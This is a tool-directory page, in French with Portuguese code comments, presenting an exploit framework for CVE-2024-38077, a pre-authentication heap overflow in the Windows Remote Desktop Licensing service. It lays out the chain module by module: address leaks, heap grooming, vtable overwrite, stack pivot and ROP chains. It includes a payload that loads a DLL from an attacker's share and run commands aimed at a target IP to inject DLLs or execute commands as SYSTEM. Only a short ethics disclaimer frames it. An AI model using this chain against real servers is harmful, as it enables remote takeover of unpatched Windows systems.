Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-38077-MadLicense-exploit | Kitploit
Outils/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
Frameworks d'ExploitationAnalyse des VulnérabilitésExploitationRétro-ingénierieShellcodeTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

Voir le dépôt
1il y a 8 moisPas encore vérifié

CVE-2024-38077 MadLicense - Framework d'Exploitation Complet

📚 Documentation Technique pour Présentation

Ce document explique chaque composant du framework, pourquoi il existe, et comment fonctionne l'exploitation du heap buffer overflow sur Windows moderne.


🎯 Qu'est-ce que CVE-2024-38077 ?

La Vulnérabilité

Le service Windows Remote Desktop Licensing (lserver.exe) contient un heap buffer overflow dans la fonction CDataCoding::DecodeData.

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  VULNERABILIDADE: Cálculo incorreto de tamanho             │
├─────────────────────────────────────────────────────────────┤
│  1. Cliente envia dados Base64 de tamanho N                │
│  2. Servidor calcula: buffer_size = (N / 4) * 3            │
│  3. Servidor aloca buffer de 'buffer_size' bytes           │
│  4. Decode Base64 REALMENTE escreve: ceil(N * 3/4) bytes   │
│  5. Se N não é múltiplo de 4: OVERFLOW!                    │
└─────────────────────────────────────────────────────────────┘

Exemple concret :

  • Entrée : 4001 octets
  • Calcul serveur : (4001 / 4) * 3 = 1000 * 3 = 3000 octets alloués
  • Décodage réel : ceil(4001 * 0.75) = 3001 octets écrits
  • Overflow : 1 octet (mais contrôlable pour en avoir plus)

Pourquoi Est-Ce Critique ?

  1. Pre-Auth : Aucune information d'identification requise
  2. Distant : Via réseau, port 135 (RPC)
  3. SYSTEM : Le service s'exécute en tant que NT AUTHORITY\SYSTEM
  4. Courant : Windows Server 2000-2025 affectés

🏗️ Architecture du Framework

Vue d'Ensemble des Modules

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                      EXPLOIT CHAIN                              │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP, ASLR, CFG awareness)                   │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (Orchestrator)                          │
    └───────────────────────────────────────────────────────────┘

📦 Module 1 : primitives.py - Fondation

Qu'est-ce que c'est ?

Utilitaires de bas niveau pour la manipulation de la mémoire.

Pourquoi Existe-t-Il ?

Les exploits ont besoin de :

  • Convertir entre types (int ↔ bytes)
  • Générer des motifs pour l'analyse de crash
  • Aligner correctement les données

Fonctions Principales

root@kitploit:~
# Pack/Unpack - Converter inteiros para bytes e vice-versa
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# Padrão Cíclico - Para identificar offset de crash
cyclic(100)          # Gera sequência De Bruijn
cyclic_find(pattern, value)  # Encontra offset do valor

# Alinhamento - Memória precisa estar alinhada
align(0x1003, 0x10)  # → 0x1010 (alinha para 16 bytes)

Pourquoi C'Est Important ?

Problème réel : Vous provoquez un crash et le RIP contient 0x61616171.

  • Sans cyclic : « Quelque part dans mon buffer... »
  • Avec cyclic : cyclic_find(pattern, 0x61616171) → offset exact !

📦 Module 2 : leak.py - Bypass d'ASLR

Qu'est-ce que l'ASLR ?

Address Space Layout Randomization : À chaque démarrage/exécution, les adresses changent.

root@kitploit:~
Boot 1:  ntdll.dll @ 0x7FFA12340000
Boot 2:  ntdll.dll @ 0x7FFB98760000
Boot 3:  ntdll.dll @ 0x7FFC55550000

Pourquoi Avons-Nous Besoin d'un Leak ?

Sans savoir où se trouve la mémoire :

  • Nous ne savons pas où placer le payload
  • Nous ne connaissons pas l'adresse des gadgets ROP
  • Toute tentative = crash aléatoire

Structure du Module

root@kitploit:~
class LeakInfo:
    """Container para endereços vazados"""
    heap_base: int         # Base do heap
    ntdll_base: int        # Base do ntdll.dll
    kernel32_base: int     # Base do kernel32.dll
    # ...

class LeakProvider:
    """Orquestrador de fontes de leak"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # Tenta cada fonte até conseguir

Sources de Leak Implémentées

SourceComment Ça FonctionneQuand l'Utiliser

Pourquoi une Entrée Manuelle ?

Lors de démonstrations/labs, vous pouvez :

  1. Attacher un debugger à la cible
  2. Voir la base des modules
  3. Fournir via --ntdll-base 0x7ffa...

Cela simule un leak réel, permettant de tester le reste de la chaîne.


📦 Module 3 : target_model.py - Mappage de la Cible

Qu'est-ce que c'est ?

Modélisation des structures de données vulnérables et adjacentes.

Pourquoi Existe-t-Il ?

Overflow ≠ Exploitation. Nous devons savoir :

  • Qu'est-ce que nous écrasons ?
  • Quelle est la taille de l'objet ?
  • Quel champ est utile à corrompre ?

Composants

root@kitploit:~
class VulnerableBuffer:
    """O buffer que vai sofrer overflow"""
    allocation_size: int   # Quanto foi alocado
    write_size: int        # Quanto será escrito
    overflow_amount: int   # Diferença = overflow
    
    def calculate_overflow(input_size):
        # Simula o bug de cálculo
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """Objeto que será corrompido (adjacente no heap)"""
    fields: List[StructField]
    has_vtable: bool       # Tem tabela virtual?
    has_function_ptr: bool # Tem ponteiro de função?

Exemple de Structure Cible

root@kitploit:~
# Objeto hipotético baseado em análise reversa
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# Campos mapeados
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

Pourquoi is_target=True ?

Marque les champs utiles pour l'exploitation :

  • vtable : Si nous l'écrasons, nous contrôlons les appels de méthode
  • callback : Si nous l'écrasons, nous contrôlons quand le callback est appelé

📦 Module 4 : write_primitive.py - Écriture Contrôlée

Le Problème

L'overflow écrit des données séquentielles. Mais nous avons besoin de :

  • Écrire une valeur spécifique (adresse de notre ROP)
  • À un offset spécifique (où se trouve le pointeur vtable)

La Solution

root@kitploit:~
class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        Constrói buffer de overflow com valores precisos
        
        Layout:
        [PADDING até offset] [VALOR CONTROLADO] [MAIS DADOS]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # Coloca valor exato no offset exato
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

Types d'Overwrite

root@kitploit:~
# Sobrescrever vtable
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# Sobrescrever callback
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

Pourquoi Ne Suffit-Il Pas d'Écrire du Junk ?

ÉcritureRésultat
AAAA...Crash sans contrôle
Adresse précise à un offset précisExécution contrôlée

📦 Module 5 : heap_controller.py - Heap Grooming

Le Défi du Heap Moderne

Windows utilise LFH (Low Fragmentation Heap) et Segment Heap :

  • Les allocations sont randomisées
  • Le layout n'est pas prévisible
  • Les gardes du heap détectent la corruption

La Solution : Le Grooming

Grooming = Masser le heap pour obtenir un layout déterministe.

root@kitploit:~
ANTES DO GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Alocações aleatórias, buracos imprevisíveis

DEPOIS DO GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Layout controlado, "buracos" onde queremos

Phases du Grooming

root@kitploit:~
class HeapLayoutController:
    def execute_full_groom(self):
        # Fase 1: Preencher buracos existentes
        self.phase_fill(50)
        
        # Fase 2: Ativar LFH para o bucket alvo
        # (Windows ativa LFH após ~17 alocações do mesmo tamanho)
        self.phase_activate_lfh()
        
        # Fase 3: Spray - criar padrão denso
        sprayed = self.phase_spray(200)
        
        # Fase 4: Criar buracos estratégicos
        # Liberamos a cada N alocações
        self.phase_create_holes(sprayed, interval=4)
        
        # Fase 5: Estabilizar
        self.phase_stabilize()

Pourquoi Ça Marche ?

  1. Nous remplissons le heap avec des objets à nous
  2. Nous créons des « trous » à intervalles réguliers
  3. Quand le serveur alloue le buffer vulnérable...
  4. ...forte chance de tomber dans un trou
  5. ...adjacent à un objet à nous que nous pouvons corrompre

📦 Module 6 : trigger.py - Déclencheur Post-Corruption

Le Problème

La corruption a eu lieu. Et maintenant ?

root@kitploit:~
Estado atual:
- Memória corrompida ✓
- Valor malicioso escrito ✓
- Mas ninguém USOU esse valor ainda!

La Solution : Forcer l'Utilisation

Nous avons besoin que le programme lise et utilise la donnée corrompue.

root@kitploit:~
class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# Estratégias implementadas:

class SecondRequestTrigger:
    """Faz segunda chamada RPC que usa objeto corrompido"""
    
class DestructorTrigger:
    """Desconecta - força cleanup que usa ponteiros corrompidos"""
    
class TimerTrigger:
    """Espera timer interno processar estado corrompido"""

Flux Typique

root@kitploit:~
1. Primeira chamada RPC → Corrupção acontece
2. Disconnect (trigger) → Server chama destructor
3. Destructor lê vtable corrompida → Chama nosso endereço
4. Execução controlada!

📦 Module 7 : execution.py - Contrôle de Flux

La Cible : Hijacking de RIP/RIP

RIP (x64) ou EIP (x86) = Instruction Pointer

Si nous contrôlons le pointeur d'instruction, nous contrôlons l'exécution.

Méthodes de Hijacking

root@kitploit:~
class HijackMethod(Enum):
    VTABLE = 0       # Mais comum em heap overflow
    FUNCTION_PTR = 1 # Callback pointer
    RETURN_ADDR = 2  # Stack overflow (não é nosso caso)

Hijacking de Vtable Expliqué

root@kitploit:~
OBJETO NORMAL:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 address  │ ← Legítimo
│             │     │ method2 address  │
└─────────────┘     └──────────────────┘

APÓS CORRUPÇÃO:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ GADGET ADDR      │ ← NOSSO!
│             │     │ GADGET ADDR      │
└─────────────┘     └──────────────────┘

Quando method1 é chamado → Executa nosso gadget!

Stack Pivot

Problème : le hijack de vtable nous donne UN appel. Nous avons besoin de plus.

Solution : Stack Pivot

root@kitploit:~
# Gadget que troca RSP para onde temos ROP chain
xchg rax, rsp; ret  # RAX = nosso endereço → RSP = nosso endereço

# Agora o "stack" é nossa área controlada!
# Cada RET pulas para próximo gadget do nosso ROP chain

📦 Module 8 : code_reuse.py - Chaînes ROP

Pourquoi ROP ?

DEP (Data Execution Prevention) : Le Heap et la Stack sont NON-EXÉCUTABLES.

root@kitploit:~
Shellcode no heap → CRASH (access violation - execute)

Solution : Réutiliser le Code Existant

ROP = Return-Oriented Programming

Nous enchaînons des « gadgets » — de petits morceaux de code qui se terminent par RET.

root@kitploit:~
GADGET 1: pop rcx; ret    ← Coloca valor em RCX
GADGET 2: pop rdx; ret    ← Coloca valor em RDX
GADGET 3: call LoadLibraryA ← Chama função!

Comment les Gadgets Sont Enchaînés

root@kitploit:~
STACK/ROP CHAIN (nossa área controlada):
┌────────────────────┐
│ addr de pop_rcx    │ ← RSP aponta aqui
├────────────────────┤
│ valor para RCX     │ ← Será "popado" para RCX
├────────────────────┤
│ addr de pop_rdx    │ ← RET vai para cá
├────────────────────┤
│ valor para RDX     │
├────────────────────┤
│ addr LoadLibraryA  │ ← Finalmente chama!
└────────────────────┘

Chaînes Implémentées

root@kitploit:~
# Carregar DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain

# Alocar memória executável
build_virtual_alloc(size) → ROP chain + RAX = endereço RWX

# Executar comando
build_winexec(cmd_addr) → ROP chain

📦 Module 9 : payload.py - Payload Sémantique

Différence : Données vs Intention

TypeExempleRésultat
DonnéesAAAAAA...Crash
IntentionROP + chemin DLLDLL chargée

Types de Payload

root@kitploit:~
class PayloadIntent(Enum):
    CRASH_TEST = 0    # Verificar se exploração funciona
    DLL_INJECT = 1    # Carregar nossa DLL
    COMMAND_EXEC = 2  # Executar comando
    SHELLCODE = 3     # Executar shellcode via ROP

Construction du Payload pour l'Injection de DLL

root@kitploit:~
def build_dll_inject(dll_path: str) -> bytes:
    """
    Estrutura final:
    
    ┌──────────────────────────────┐
    │ ROP Chain (LoadLibraryA)    │ ← Executa primeiro
    ├──────────────────────────────┤
    │ Padding                      │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ ← String do caminho
    └──────────────────────────────┘
    
    O ROP chain passa o endereço da string para LoadLibraryA
    """

📦 Module 10 : mitigations.py - Conscience des Mitigations

Mitigations du Windows Moderne

Adaptation Automatique

root@kitploit:~
def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # Obrigatório
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # Obrigatório
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # Mais spray

🔄 Flux Complet d'Exploitation

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    FLUXO DE EXPLORAÇÃO                          │
└─────────────────────────────────────────────────────────────────┘

   STAGE 1: LEAK (ASLR Bypass)
   ├─ Obter endereços de memória
   ├─ Input: manual ou auto-leak
   └─ Output: LeakInfo com bases de módulos

             ↓

   STAGE 2: ANALYZE (Target Mapping)
   ├─ Calcular overflow amount
   ├─ Identificar objetos adjacentes
   └─ Determinar offsets de corrupção

             ↓

   STAGE 3: GROOM (Heap Shaping)
   ├─ Fill → Activate LFH → Spray → Holes
   ├─ Criar layout determinístico
   └─ Preparar "landing zone" para alocação vulnerável

             ↓

   STAGE 4: PAYLOAD (Build)
   ├─ Construir ROP chain
   ├─ Incluir strings/dados necessários
   └─ Combinar com overflow data

             ↓

   STAGE 5: CORRUPT (Trigger Overflow)
   ├─ Enviar chamada RPC maliciosa
   ├─ Causar overflow
   └─ Sobrescrever alvo (vtable/callback)

             ↓

   STAGE 6: TRIGGER (Force Use)
   ├─ Disconnect ou segunda chamada
   ├─ Forçar uso de ponteiro corrompido
   └─ Hijack de execução

             ↓

   STAGE 7: EXECUTE (RCE)
   ├─ ROP chain executa
   ├─ LoadLibraryA carrega DLL
   └─ CÓDIGO ARBITRÁRIO EXECUTANDO!

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  RESULTADO: Shell reverso, backdoor, etc. como SYSTEM      │
   └─────────────────────────────────────────────────────────────┘

🚀 Utilisation Pratique

Installation

root@kitploit:~
pip install impacket

Commandes

root@kitploit:~
# Apenas verificar se serviço está rodando
python -m madlicense.poc -t 10.0.0.5 --check

# Dry run (não envia payload, simula tudo)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# DLL Injection completo
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# Executar calc.exe (PoC clássico)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000

⚠️ Considérations Éthiques

Ce framework est destiné à :

  • ✅ Recherche en sécurité autorisée
  • ✅ Démonstrations éducatives
  • ✅ Tests dans des environnements contrôlés
  • ✅ Développement de mitigations

PAS pour :

  • ❌ Accès non autorisé
  • ❌ Attaques contre des systèmes en production
  • ❌ Toute activité illégale

📚 Références

  1. CVE-2024-38077 - Microsoft Security Advisory
  2. Windows Internals - Mark Russinovich
  3. A Guide to Kernel Exploitation - Enrico Perla
  4. Modern Windows Exploit Development - Corelan Team

🎯 Résumé pour la Présentation

Phrase clé :

« Exploiter un heap buffer overflow sur Windows moderne ne se résume pas à "écrire beaucoup". C'est une chaîne précise de leak → groom → corrupt → trigger → execute. »

Les 9 Modules :

  1. primitives - Outils mémoire
  2. leak - Bypass d'ASLR
  3. target_model - Connaître la cible
  4. write_primitive - Écriture contrôlée
  5. heap_controller - Heap grooming
  6. trigger - Forcer l'utilisation de la corruption
  7. execution - Hijack de RIP
  8. code_reuse - Chaînes ROP
  9. mitigations - Conscience des défenses

Sans aucun de ces éléments, pas de RCE.

Télécharger l’outil
ManualLeakSource
L'utilisateur fournit les adresses
Lab/Debug avec accès à la cible
ResponseLeakSourceExtrait des réponses RPCSi le service fuit des pointeurs
TimingLeakSourceSide-channel temporelThéorique, très difficile
MitigationCe Qu'Elle FaitNotre Bypass
DEPHeap/Stack non exécutableROP (réutilisation de code)
ASLRAdresses randomiséesInfo leak
CFGValide les cibles des appelsAppeler des cibles valides, puis pivot
Stack CookieDétecte le stack overflowNous n'utilisons pas de stack overflow
Heap HardeningPages de garde, etc.Grooming soigné